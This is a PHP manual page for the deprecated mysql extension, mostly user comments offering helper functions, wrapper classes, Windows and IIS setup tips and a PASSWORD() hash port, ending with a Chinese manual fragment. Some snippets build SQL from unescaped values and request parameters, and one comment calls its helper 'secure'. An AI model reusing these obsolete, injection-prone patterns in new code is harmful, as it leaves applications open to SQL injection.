Here a mysql helper containing the main functions of the mysql extension. It's easy to understand for a beginner and quite useful because queries are secure. It understands what you want, just write your sql query. I called it mysql_magic.

<?php
// Examples
$nb_affected = mysql_magic('delete from users');
$nb = mysql_magic('select count(*) from users');
$one_row = mysql_magic('select * from users limit 1');
$all_rows = mysql_magic('select * from users where name = ?', 'John');
$id = mysql_magic('insert into users(name,rank) values(?,?)', 'Vincent', 3);
?>

<?php
// Usage: mysql_magic($query [, $arg...]);
function mysql_magic()
{
    global $dblink, $sqlhost, $sqluser, $sqlpass, $sqlbase;
    $narg = func_num_args();
    $args = func_get_args();

    if (!$dblink)
    {
        $dblink = mysql_connect( $sqlhost, $sqluser, $sqlpass );
        mysql_select_db( $sqlbase, $dblink );
    }

    $req_sql = array_shift($args);
    $req_args = $args;

    $req_query = mysql_bind($req_sql, $req_args);
    $req_result = mysql_query($req_query);

    if (!$req_result)
    {
        trigger_error(mysql_error());
        return false;
    }

    if (startsWith($req_sql, 'delete') || startsWith($req_sql, 'update'))
    {
        return mysql_affected_rows(); // -1 || N
    }
    else if (startsWith($req_sql, 'insert'))
    {
        return mysql_insert_id(); // ID || 0 || FALSE
    }
    else if (endsWith($req_sql, 'limit 1'))
    {
        return mysql_fetch_assoc($req_result); // [] || FALSE
    }
    else if (startsWith($req_sql, 'select count(*)'))
    {
        $line = mysql_fetch_row($req_result);
        return $line[0]; // N
    }
    else
    {
        return mysql_fetch_all($req_result); // [][]
    }
}

function mysql_bind($sql, $values=array())
{
    foreach ($values as &$value) $value = mysql_real_escape_string($value);
    $sql = vsprintf( str_replace('?', "'%s'", $sql), $values);
    return $sql;
}

function mysql_fetch_all($result)
{
    $resultArray = array();
    while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
    return $resultArray;
}

function startsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, 0, strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, 0, strlen($needle)),$needle)===0);
}

function endsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);
}
?>

Don't forget to set $sqlhost, $sqluser, $sqlpass and $sqlbase.

With help of :
mysql_bind : http://php.net/manual/en/function.mysql-real-escape-string.php#96391
mysql_fetch_all : http://php.net/manual/en/function.mysql-fetch-assoc.php#90030

trigger_error may be enhanced with this tip : http://php.net/manual/en/function.trigger-error.php#98910
joachimb at gmail dot com 16-May-2008 02:28
Lazy Man's Logging:

<?php
  /// Creates a table called $table as (id, when, message) if none such exists, and inserts a row with $message in it.
  /// If no connection details are given, it uses the current database connection. Same goes for $database and $when.
  ///
  /// @returns TRUE on success or FALSE on failure.
  ///
  /// @example mysql_put_contents("orders", "I CAN HAZ CHEEZBURGER?", "mysite", NULL, "127.0.0.1:3306", "mysite_user", "secret") or die(mysql_error());
  /// @example mysql_put_contents("guestbook", "Longcat says: I'm loooooooooooong") or die("Errorz!");
  function mysql_put_contents($table, $message, $database = NULL, $when = NULL, $host = NULL, $user = NULL, $pass = NULL) {
    if($host)
        mysql_connect($host, $user, $pass);
      if($database)
        mysql_select_db($database);

      $qry = "CREATE TABLE IF NOT EXISTS `$table` (
             `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
             `when` TIMESTAMP DEFAULT NOW(),
             `message` TEXT NOT NULL
           );";
    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    $qry = "INSERT INTO `$table` VALUES(NULL, ".($when ? $when : 'NULL').", '".mysql_real_escape_string($message)."');";

    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    return TRUE;
  }

?>
dhirendrak at yahoo dot com 04-Feb-2008 11:03
<?php
# Created by dhirendra can be reached at dhirendrak at yahoo dot com
# This script is created to check the data difference between two tables
# when the structure of both tables are same.
# Limitation :
# 1) Structure of both tables should be same.
# 2) Name of both table should be different but if same than obviously
# second table should be if different database.
# 3) If use two database than both database permission should be same
# as i am using aliases to get the information.
#
# USES::
# 1) This may be useful when you did some changes in your existing
# script and you expect the certain output. So with the help of this
#    function you may compare the impact due to your changes in script.
#
#

$host="";        # host name or ip address
$user="";            # database user name
$pass="";    # database password
$database="";        # dateabase name with which you want to connect

# get connection with mysql
$dblink = @mysql_connect($host,$user,$pass);

# select and open database
mysql_select_db($database,$dblink);

$db1="< your db1 >"; // first database
// second database if database are same for both tables than use the same as db1
$db2="< your db2 >";
$table1="< your table1 >"; // first table
// second table if database is same for both tables than table name
# must be different but fields name are same and order of the fields are same.

$table2="< your table2 >";

// function starts here
function table_data_difference($first,$second)
{
    global $dblink;
    $sql1 = "SHOW FIELDS FROM $first";
    $result = mysql_query($sql1,$dblink) or die("Having error in execution 1 ==".mysql_error());

    while($row = mysql_fetch_object($result))
    {
        $from_fields[]=$row->Field;
    }

    $sql="select * from $first";
    $res=mysql_query($sql,$dblink) or die("Having error in execution 2==".mysql_error());
    $j=1;
    while($row=mysql_fetch_array($res))
    {

        $num=count($from_fields);

        $sql_next="select $second.* from $second where";

        for($i=0;$i < $num;$i++)
        {
            $sql_next=$sql_next." ".$second.".".$from_fields[$i]."='".$row[$from_fields[$i]]."' and ";
        }

        $sql_next=substr($sql_next,0,strlen($sql_next)-5);

        $res_next=mysql_query($sql_next,$dblink) or die("Having error in execution 3==".mysql_error());
        $num1=mysql_num_rows($res_next);
        if($num1==0)
        {
            for($i=0;$i < count($from_fields);$i++)
            {
                $val=$val."<br>".$from_fields[$i]."=".$row[$from_fields[$i]];
            }
            // Display the record which are not matched.
            echo "<br>\n".$j.".".$val;
            echo "<br>-----------------------------------------------------";
            $j++;
        }

    }

}

$first=$db1.'.'.$table1;
$second=$db2.'.'.$table2;

table_data_difference($first,$second);

?>
matiyahoo-publico at yhoo dot com dot ar 17-Nov-2007 08:26
David:

In this line:

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";

PHP may read $username[, *including* the open square bracket, and may think you are trying to get into an array.

You should use this instead:

$query = "SELECT username FROM users WHERE username REGEXP '${username}[0-9*]'";

Or maybe this:

$query = "SELECT username FROM users WHERE username REGEXP '$username" . "[0-9*]'";
david at kiwi dot com 09-Nov-2007 08:13
I am wanting to increment usernames which are to be alphabetic characters A-Z or a-z and if someone uses "abc" it will automatically be given "abc1" and the next applicant to apply for that same username will automatically be given "abc2", the next "abc3" and so on. If I enter the following into MySQL;

SELECT username FROM users WHERE username REGEXP 'abc[0-9*]';

the result is

abc1
abc2
abc3

I have been given the following script from another forum but it does not work;

<?php
$username = 'abc';
$query = "SELECT username FROM users WHERE username LIKE '$username%'";
$res = mysql_query($query);
while($row = mysql_fetch_assoc($res)) {
   $n = str_replace($username, '', $row['username']);
   if ($old_n+1!=$n) {
      $new_user = $username . ($old_n+1);
      break;
   }
}
?>

In addition to the script not working the "LIKE" function would not be suitable because if a username was applied as "blue" it would pick up usernames "blue1" and "bluebird1" therefore it appears as if "REGEXP '$username[0-9*]' is the only or correct option.

I have tried the REGEXP option in association with the balance of the code but it appears as if PHP will not interact with the "[" and "]" in the following;

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";
SID TRIVEDI 07-Nov-2007 04:33
<?php
/*
MySQL (Community) Server Installation on 32-bit Windows XP running Apache

On Windows, the recommended way to run MySQL is to install it as a Windows service, whereby MySQL starts and stops automatically when Windows starts and stops. A MySQL server installed as a service can also be controlled from the command line commands, or with the graphical Services utility like phpMyAdmin.

PHP ---> MySQL CONNECTORS (php_mysql.dll and php_mysqli.dll as extensions)
MySQL provides the mysql and mysqli extensions for the Windows operating system on http://dev.mysql.com/downloads/connector/php/ for MySQL version 4.1.16 and higher, MySQL 5.0.18, and MySQL 5.1. As with enabling any PHP extension in php.ini (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located.

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH.

Following PHP Script is useful to test PHP connection with MySQL.
*/

//$connect = mysql_connect("Your Host Name", "MySQL root directory", 'MySQL password, if any');
//$connect = mysql_connect("Host Name or Address - 127.0.0.1", "root", 'password');
$connect = mysql_connect("localhost", "root", 'password');
if ($connect){
echo "Congratulations!\n<br>";
echo "Successfully connected to MySQL database server.\n<br>";
}else{
$error = mysql_error();
echo "Could not connect to the database. Error = $error.\n<br>";
exit();
}

// Closing connection
$close = mysql_close($connect);
if ($close){
echo "\n<br>";
echo "Now closing the connection...\n<br>";
echo "MySQL connection closed successfully as well.\n<br>";
}else{
echo "There's a problem in closing MySQL connection.\n<br>";
}
exit();
?>
rad14701 at yahoo dot com 14-Oct-2007 12:01
@Amanda 12-Oct-2007 09:58

I almost had to ask myself if this was a real question... If the MySQL server rejects the connection attempt then, yes, MySQL would be able to send back an error to PHP... And if PHP can't access the target MySQL server at all then it is also smart enough to issue the appropriate error all by itself...
arnold_dba 13-Oct-2007 06:36
Also, to secure MySQL data and to be able to comply with PCI standards, you should encrypt the data. There are many ways to do it. For hackers, you can use dm-crypt (www.saout.de/misc/dm-crypt) tool. It is basically used to encrypt the whole partition. If you want a sophisticated solution go with Security-GENERAL for MySQL from packet general (www.packetgeneral.com)
On windows, you can use disk encryption feature provided by windows itself or tool like trucrypt (www.truecrypt.org)
DuiMDog 02-Sep-2007 03:19
On 11-Apr-2007 admin at mihalism dot com posted an 'easy to use MySql-class'.
In my opinion there is a bug in the get_affected_rows-function. It refers to query-id, but  it should refer to connect-id instead.

The corrected function should be:
    function get_affected_rows($connect_id = ""){
            if($connect_id == NULL){
                $return = mysql_affected_rows($this->connect_id);
            }else{
                $return = mysql_affected_rows($connect_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
atk2 at hotmail dot com 14-Jun-2007 08:56
After finally getting IIS, PHP, and MySQL on a new Windows XP machine, I decided to write the steps I took so you can see how it was done: http://www.atksolutions.com/articles/install_php_mysql_iis.html

Hope this helps.
Nobody Special 14-Apr-2007 11:20
This PHP5-only class is used so that $db isn't passed. Kudos to arjen at queek dot nl for example.

<?php
class SQL {
 private $db;
 public function __construct($host="localhost",$user="root",$pass="",$db="") {
  $this->db = @mysql_connect($host, $user, $pass);
  if(!$this->db) die(@mysql_error());
  if($db != "") $dbs = @mysql_select_db($db);
  if(!$dbs) die(@mysql_error());
 }
 public function __destruct() {
  @mysql_close($db);
 }
 public function __call($function, $arguments) {
  array_push($arguments, $this->db);
  $return = call_user_func_array("mysql_".$function, $arguments);
  if(!$return) die(@mysql_error());
 }
}

$db = new SQL();
$query = $db->query("SELECT * FROM this_table WHERE my_variable='1'");
$fetch = $db->fetch_array($query);
print_r($fetch);
?>
mega-squall at caramail dot com 13-Apr-2007 02:35
For Windows users, please note:

If apache is installed as a service, and you change PATH variable so it can reach libmysql.dll, you will need to reboot your machine in order to have changes applied.
admin at mihalism dot com 11-Apr-2007 07:48
Heres a easy to use MySQL class for any website

<?php
    class mysql_db{
        //+======================================================+
        function sql_connect($sqlserver, $sqluser, $sqlpassword, $database){
            $this->connect_id = mysql_connect($sqlserver, $sqluser, $sqlpassword);
            if($this->connect_id){
                if (mysql_select_db($database)){
                    return $this->connect_id;
                }else{
                    return $this->error();
                }
            }else{
                return $this->error();
            }
        }
        //+======================================================+
        function error(){
            if(mysql_error() != ''){
                echo '<b>MySQL Error</b>: '.mysql_error().'<br/>';
            }
        }
        //+======================================================+
        function query($query){
            if ($query != NULL){
                $this->query_result = mysql_query($query, $this->connect_id);
                if(!$this->query_result){
                    return $this->error();
                }else{
                    return $this->query_result;
                }
            }else{
                return '<b>MySQL Error</b>: Empty Query!';
            }
        }
        //+======================================================+
        function get_num_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_num_rows($this->query_result);
            }else{
                $return = mysql_num_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function fetch_row($query_id = ""){
            if($query_id == NULL){
                $return = mysql_fetch_array($this->query_result);
            }else{
                $return = mysql_fetch_array($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function get_affected_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_affected_rows($this->query_result);
            }else{
                $return = mysql_affected_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function sql_close(){
            if($this->connect_id){
                return mysql_close($this->connect_id);
            }
        }
        //+======================================================+
    }

    /* Example */

    $DB = new mysql_db();
    $DB->sql_connect('sql_host', 'sql_user', 'sql_password', 'sql_database_name');
    $DB->query("SELECT * FROM `members`");
    $DB->sql_close();
?>
davesteinb at yahoo dot com 13-Aug-2006 03:32
I made this function to reduce DB calls. You can store Mysql results in a session var and sort the results on any column. Might work nice in an AJAX app.

<?

function mysql_sort($results, $sort_field, $dir="ASC") {
    $temp_array = array();
    $i=0;
    foreach ($results as $res) {
        $temp_array[$i] = $res[$sort_field];
        $i++;
    }
    if ($dir=="ASC") {
        asort($temp_array);
    } else {
        arsort($temp_array);
    }

    $new_results = array();
    $i=0;
    foreach($temp_array as $k => $v) {
        $new_results[$i] = $results[$k];
        $i++;
    }
    ksort($new_results);
    return $new_results;

}

//use
if (count($_SESSION["res"])==0) {
    $_SESSION["res"] = [GET DATABASE RESULTS HOWEVER YOU MAY]
}

$_SESSION["res"] = mysql_sort($_SESSION["res"], $_REQUEST["sort"], $_REQUEST["dir"]);

?>
<table>
<tr>
  <td><a href="page.php?sort=f_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">First</a></td>
  <td><a href="page.php?sort=l_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">Last</a></td>
</tr>

<? foreach ($_SESSION["res"] as $r) {?>
<tr>
  <td><?=$r["f_name"]?></td>
  <td><?=$r["l_name"]?></td>
</tr>
<? } ?>
</table>
richard at NOSPAM dot dimax dot com 19-Jul-2006 04:58
In response to Conrad Decker's post below:

If your tables contain foreign key constraints you will not be able to properly restore from a datafile created by mysqldump.

mysqldump dumps table data in alphabetical order, not in the logical order required by the foreign key constraints.
vbolshov at rbc dot ru 09-Jul-2006 11:27
I have recently ran into a problem with configuring php extensions related to mysql (namely, mysql and pdo_mysql). Later I've discovered that it wasn't a PHP problem but that of MySQL - libmysqlclient doesn't ship with binary downloads. I've built MySQL from sources and both extensions then compiled successfully.
sb at stephenbrooks dot org 01-May-2006 01:43
I'm in the process of changing web hosts and my previous host provided a "dump" of the database in the form of a sequence of SQL requests that (I assume) have to be executed in order to rebuild the database on another system.  It was generated using "MySQL dump 9.11".  Queries are finished by a semicolon and linefeed, while comment-lines begin with a double hyphen.  The script below opens a connection to an SQL server and loads a dump file $file of this format into the database $dest_db.

function load_db_dump($file,$sqlserver,$user,$pass,$dest_db)
{
  $sql=mysql_connect($sqlserver,$user,$pass);
  mysql_select_db($dest_db);
  $a=file($file);
  foreach ($a as $n => $l) if (substr($l,0,2)=='--') unset($a[$n]);
  $a=explode(";\n",implode("\n",$a));
  unset($a[count($a)-1]);
  foreach ($a as $q) if ($q)
    if (!mysql_query($q)) {echo "Fail on '$q'"; mysql_close($sql); return 0;}
  mysql_close($sql);
  return 1;
}

This may not be watertight if the ";\n" sequence appears inside queries, but I hope it helps others who are in posession of such dumps.
yp 15-Mar-2006 02:08
when using Fedora Core linux Mysql rpm installation.
Configure as following to load the mysql header files.
./configure --with-mysql=/usr/
Remember to do make clean to remove old configurations before compile
php comments of fuzzyworm co., uk 17-Feb-2006 03:13
If you want to get PHP working nicely with MySQL, even with Apache, under Windows based systems, try XAMPP, from Apache Friends. It saves messing about with config files, which is the only major problem with trying to get the three to work together under windows.

http://www.apachefriends.org/en/xampp-windows.html
Joe Greklek 15-Dec-2005 01:15
I've seen alot of newbies getting frustrated over the extenstions not being installed initially, so heres a quick tut for Windows.

It's ok to use the php5 installer. Just be sure to also grab the .zip or "manual" version of php5.

Install it like any other app. It's pretty straight forward. Don't forget to set the securities mentioned in the last message box at the end of the install. Next, If you installed php to c:\php then you will need to add this to your PATH environment variable. This is a very important step.

Now open up the .zip manual version of php5 and extract the ext folder, and "libmysql.dll" to "c:\php\".

You *MUST* set your security permissions on libmysql.dll and the ext folder to READ/READ&EXECUTE for IUSR_"MACHINE_NAME". like my machine is called master<acct = IUSR_MASTER>. If you don't do this you will recieve an ******.dll - Access Denied. type message.

Next edit your php.ini file usually located in c:\windows\.
Find the line for    extension_dir    variable and make it say
extension_dir = "c:\php\ext\"

Then scroll down a little bit and find the lines that say
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll

just remove the semicolin for each extension you would like loaded. Such as
extention=php_mysql.dll
and so on.

Now just reboot and all should be well. Query away. you basically only need to reboot to update the PATH environment variable. Hope this helps at least 1 person.:)
nick smith 19-Sep-2005 12:07
i'm fairly new to this but have just managed to set up (on windows xp) apache 2.0.54 with php 5.0.4 and mySQL 4.1.13, also phpMyAdmin 2.6.4 having had exactly the problems reported by so many others. i wasnt actually aware of mySQL not being loaded in php until i tried to use phpmyadmin and it told me to check my php/mysql configuration.

basically i just did everything that is mentioned by others (setting extension_dir to c:\php\ext ( not c:\php\ext\ ), uncommenting extension=php_mysql.dll from php.ini and putting c:\php into my PATH) but i was still getting the infuriating message when trying to start apache that php_mysql.dll could not be found.

i restarted my machine and it worked! It seems i had to restart windows after editing my PATH. i didnt bother restarting until it was the last resort because on xp i have NEVER had to do this before - changes to System Variables always took effect immediately. I could understand this on, say, windows 98 where you put the addition to your PATH into your autoexec.bat but why i had to do this with xp is a mystery.

Anyway, give it a go, it might save you tearing out prescious hair!

N.
avis_del at yahoo dot com 01-Sep-2005 01:14
I aggree with j at jonathany.com

PHP 5.04 to MySQL,
php_mysql.dll will not found on windows installer (.msi)
just extract from .zip file (can download).
It works.

1. cgi.force_redirect = 0
2. extension_dir = "c:\php\ext"
3. extension=php_mysql.dll

untill on phpinfo.php show

MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.12
claude(at)claude(dot)nl 25-Aug-2005 07:23
A note on resources

When a resource (e.g. a link identifier) runs out of scope, it is deleted and the associated computer resources (e.g. the tcp link to the database) will be terminated as well. So far so good!
However, in the following code the tcp mysql link persists until the end of execution:
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn = null;
sleep (30);
?>
This is because the internally the link-identifier is being saved, so that subsequent mysql functions will work. There seems to be no way to delete this internal reference.
If you were, however, to open 2 connections, the oldest one will be deleted automatically (so the connection to hostname will terminate at the $conn=null statement, the connection to hostname2 will exist till the end of the script).
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn2 = mysql_connect('hostname2', 'username','password');
$conn = null;
$conn2 = null;
sleep (30);
?>
arjen at mysql dot com 04-Aug-2005 01:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
allan666 at NOSPAM dot gmail dot com 20-Jul-2005 03:37
[Editor's Note: In MySQL v5.0+, you can use the INFORMATION_SCHEMA tables to retrieve information on tables, views, databases and so on. --zak@php.net]

Here is a small function to parse a mysql creation table DDL. The function takes a string with the SQL code to create a table and returns the table name, table fields, table key fields and fields type, all in arrays (except by the name, obviously). The function requires that the primary key be named "id" and the foreign keys named "id...". All foreign key types are suposed to be int (or its variations, bigint, etc...). All those restrictions are easily modified to others needs.

Here is a example of a DDL code.

CREATE TABLE `telefones` (
  `id` int(11) NOT NULL auto_increment,
  `id_tipo_telefone` int(11) NOT NULL default '0',
  `numero` varchar(15) NOT NULL default '',
  `id_pessoa` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `id_tipo_telefone` (`id_tipo_telefone`),
  KEY `id_pessoa` (`id_pessoa`),
  CONSTRAINT `0_775` FOREIGN KEY (`id_tipo_telefone`) REFERENCES `tipos_telefone` (`id`),
  CONSTRAINT `0_776` FOREIGN KEY (`id_pessoa`) REFERENCES `pessoas` (`id`)
) TYPE=InnoDB

that returns

$tbname = "telefones"
$fields = array("numero");
$kfields = array("id_tipo_telefone","id_pessoa");
$tipos = array("varchar");

Hope it helps...

<?php
function parseQuery($Q, &$tbname, &$fields, &$kfields, &$tipos) {

/** rules to a corect parse:
 *
 *     1 - primary key must be named "id"
 *     2 - foreign key must be named "id..." eg.: id_field
 *     3 - lowercase is recomended
 */

    $Q = str_replace(array(chr(10),chr(13))," ",$Q);
    $Q = str_replace(array("'","`")," ",$Q);

    preg_match("/([^(]*)\((.*)\)(.*)/",$Q,$A);

    $part1 = $A[1];
    $part2 = $A[2];
    $part3 = $A[3];

    preg_match("/(.*) ([a-zA-Z_]+)/",$part1,$A);

    $tbname = strtolower($A[2]);

    $temp = split(",",$part2);
    foreach ($temp as $t) {
        preg_match("/ *([a-zA-Z_]+) +([a-zA-Z_]+)(.*)/",$t,$A);
        $pcampo = strtolower($A[1]);
        $ptipo = strtolower($A[2]);
        if (!preg_match("/$pcampo/","primary key constraint id unique foreign") )  {
            if ( ($pcampo[0] == "i") && ($pcampo[1] == "d") )
                $kfields[] = $pcampo;
            else {
                $fields[] = $pcampo;
                $tipos[] = $ptipo;
            }
        }
    }
}
?>
Microsoul V3 04-Jun-2005 03:47
I use IIS 6, PHP 5.04, Windows Server 2003 and MySQL 4.1.11. and here is what I was able to figure out.
To get MySQL and PHP to talk to each other, in the php.cfg, dont forget to turn on the tag
cgi.force_redirect = 0, and make sure you set it at 0 (it is default at 1. just delete the semi-colon from in front of it to activate it in the code) Then the phpinfo will say its reading the cfg from your PHP install directory instead of your WINDOWS root. Then your phpinfo will show the MySQL entry that some people may be having a hard time with. No registry settings or copying of anything is needed. Also follow the rest of the excellent help from the user comments. Here's what I did, to make it simple:
I made a folder in the folder tree just above program files (explore your computer) and named it PHP. I extracted the .zip php version into it (not the auto install version). I edited the php.ini-recommended, renamed it to just php, added my sql username, database name, etc.( you really gotta look closely at the cfg file and make sure you dont overlook something). Turned on the extension=php_mysql.dll (just delete the semi-colon thats in front of it). Added the php folder to the PATH (instructions on how to do this are pretty simple, and documented above). I also made the ext folder available to the PATH, but Im not sure if it's really necessary. The user comments are what really helped me, so I thought I would return the favor, and try to expand on this topic a little bit.
noel at nettensity dot com 28-May-2005 10:04
Enabling MySQL with Windows Server 2003/IIS 6.0:
Find your php.ini file first, check phpinfo() to see where php is currently looking for php.ini. (i.e. Using the Windows installer for PHP 5.0.4, the php.ini file was placed in the C:\Windows dir.) I recommend, however, that you don't use the installer - go with full manual install.

Set the following in php.ini:
display_errors = on
error_reporting = E_ALL
This will make sure that you'll see any errors that arise during configuration. MAKE SURE TO CORRECT THESE WHEN YOU ARE DONE PLAYING WITH PHP.INI! Do not leave these settings like this on a production machine.

In php.ini set the following:
extension_dir = "pathtoextensions (ususally [yourpathtophp]\ext)"
extension=php_mysql.dll (make sure this is un-commented if its already in your php.ini)

In IIS, open Web Service Extensions, click "Add a new Web service extension..."
Type-in PHP for the extension name
Under required files:
Add  [yourpathtophp]\php5isapi.dll
Add  [yourpathtophp]\php5ts.dll
Click 'Apply' then click 'OK'

Create web sites like you normally would, but make sure they have executable permissions, not just script access. Under the "Home Directory" tab, click 'Configuration'. Scroll down the list at the top and see if you can find PHP. If you do, make sure the path to the executable for PHP is correct. If you don't find PHP in the list, click 'Add...', then browse to the correct executable, [yourpathtophp]\php5isapi.dll, and click OK. In the extension field, enter 'PHP'. Verbs should already be set to 'All verbs', leave it like that.

Create a test page with this code:
<? echo(phpinfo()); ?>
call it test.php, and place this file into the web site you just created. Browse to the page, with firefox preferably ;), and make sure that you have a MySql section with some MySql info in there. If not, then your paths are possibly screwed up, or you're still not editing the correct php.ini (again, look at the location that phpinfo() shows you, and just edit it there if you have to, then move it afterwards and re-config).

Hope this helps!
medic at setiherbipolis dot de 15-May-2005 08:42
Client does not support authentication protocol requested by server; consider upgrading MySQL client

means that you're using an old version of MySQL Client ( possibly not mysqli)

Authentication protocol for MySQL has changed with version 4.1.

To get a hint at which mysql-client version you're using try phpinfo();
05-Mar-2005 11:01
If you are installing PHP5 on Windows 2003 server (AKA Win 2k3) and need MySQL to work using the either the php_mysql.dll or php_mysqli.dll or both of them at the same time, and MySQl isn't showing up in phpinfo, then your php.ini is probably not loading.  In the direction in the PHP 5 zip file, they will tell you to add your PHP install directory to your windows path.  This should tell php where to load its php.ini from but it doesn't.  If you want to get this to work, you don't have to copy any DLL's anywhere like everyone suggests.  All you have to do is add the folling regsitry key to windows:

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

simply copy the above 2 lines of code into a text file and save the file as php_ini_path.reg

After you save the file it will look like a registry file.  Simply double click on it.

It will make it so PHP will look for your php.ini in C:\PHP.  I would assume you can edit this if you install php into a different location, but I haven't tried that.

After running the reg file, make sure your php.ini is in your PHP dir and make sure all the appropriate things are set.  This should get you up and running.  Make sure you also follow all the steps on how to make it work in IIS.  This is just an addition to the direction.
Protik Mukherjee 03-Mar-2005 09:34
Fedora mysql problems!!
In Fedora 3 the php mysql module does not come with the default installation. To install it use $>yum install php_mysql
If u dont do this you will get errors with mysql functions like mysql_connect()

Hope this helps!
nleippe at integr8ted dot com 12-Oct-2004 03:22
trace_mode breaks SQL_CALC_FOUND_ROWS.
This is because it emits an EXPLAIN <query> before sending the <query> by itself, thus the subsequent SELECT FOUND_ROWS() is no longer the next consecutive query, and the result is zero.
This was true for me for at least MySQL 4.0.21 and 4.1.5gamma.
(PHP 4.3.9)
aidan at php dot net 15-Aug-2004 05:59
If you want to replicate the output of `mysql --html`, printing your results in a HTML table, see this function:

http://aidanlister.com/repos/v/function.mysql_draw_table.php
irn-bru at gmx dot de 27-May-2004 05:27
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).

Brian
soren at byu dot edu 14-Mar-2003 01:23
Let's say that you want to generate a MySQL password hash from a plain text password.  Normally, you would just submit the MySQL query "SELECT PASSWORD('password')", but if for some reason you can't access to MySQL database directly, then you can use the following function (translated right out of the MySQL source code):

<?php
function mysql_password($passStr) {
        $nr=0x50305735;
        $nr2=0x12345671;
        $add=7;
        $charArr = preg_split("//", $passStr);

        foreach ($charArr as $char) {
                if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
                $charVal = ord($char);
                  $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
                $nr2 += ($nr2 << 8) ^ $nr;
                  $add += $charVal;
        }

        return sprintf("%08x%08x", ($nr & 0x7fffffff), ($nr2 & 0x7fffffff));
}
?>

example:

<? print mysql_password("hello"); ?>

outputs:

70de51425df9d787

Which is the same result you get if you do "SELECT PASSWORD('hello')" directly in MySQL.  Hopefully you'll never be in a situation where you have to use this, but if you need it (like I did), it's here.
mijnpc at xs4all dot nl 20-Nov-2002 02:33
If you have a Windows machine running a webserver with PHP you don't need to install MySQL server to locally test scripts, if you are granted to establish a Secure Telnet connection (port 22) to the remote webserver.

To do this you need a Secure Telnet client, which supports port-forwarding.
Before you establish a connection, define the port-forward.
Forward local port 3306 to [name or ip of remote server]:3306
Make sure that local ports accept connections from other hosts
Save this session

Connect to remote server with username and password
Minimize the shell and that's it...

You can use the same username (and password) as if you were working on the remote server !
E.g. : $link = mysql_connect("localhost", "root", "") or die("no way jose");

You may get a shell-timeout after xx minutes depending on your remote server, just reconnect or press enter in the shell once in a while...

An example of a superb freeware Secure Telnet client is Putty : Putty : http://www.chiark.greenend.org.uk/~sgtatham/putty/

This 'discovery' really has saved me a lot of time because I don't have to upload the scripts to the remote server time and time again, pressing [save] is enough, heh (-:
skelley at diff dot nl 25-Sep-2001 02:11
Hi, here's a nice little trick to select records in random order from a table in a MySQL database prior to version 3.23

SELECT *, (ItemID/ItemID)*RAND() AS MyRandom FROM Items ORDER BY MyRandom

[Editors note: And just "SELECT * FROM foo ORDER BY RAND()" after 3.23]
mbabcock-php at fibrespeed dot net 28-Jul-2001 07:41
Since there aren't functions to start and end/rollback transactions, you'll have to use mysql_query("BEGIN"), mysql_query("COMMIT") and mysql_query("ROLLBACK").  These will only work properly on tables that support transactions.  You may also wish to roll your own mysql_begin (etc) functions that run the above queries for you.
mw-php at ender dot com 21-Jun-2001 09:11
The mysql_fetch_[row|object|array] functions return data as type string. Owing to the very flexible nature of php variables, this is normally not relevent, but if you happen to retrieve two integers from a database, then try to compare with bitwise operators, you'll run into trouble, because (19 & 2) == 2, but ("19" & "2") == 0. To remedy this, if you use variables from a database with bitwise operators, use the settype() function to explicitly cast your variables as integers before comparing.


取得前一次 MySQL 操作所影响的记录行数

  • ? MySQL 函数
  • mysql_client_encoding ?
  • PHP Manual
  • MySQL 函数
  • 取得前一次 MySQL 操作所影响的记录行数

mysql_affected_rows

(PHP 4, PHP 5)

mysql_affected_rows — 取得前一次 MySQL 操作所影响的记录行数

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_affected_rows()
  • PDOStatement::rowCount()

说明

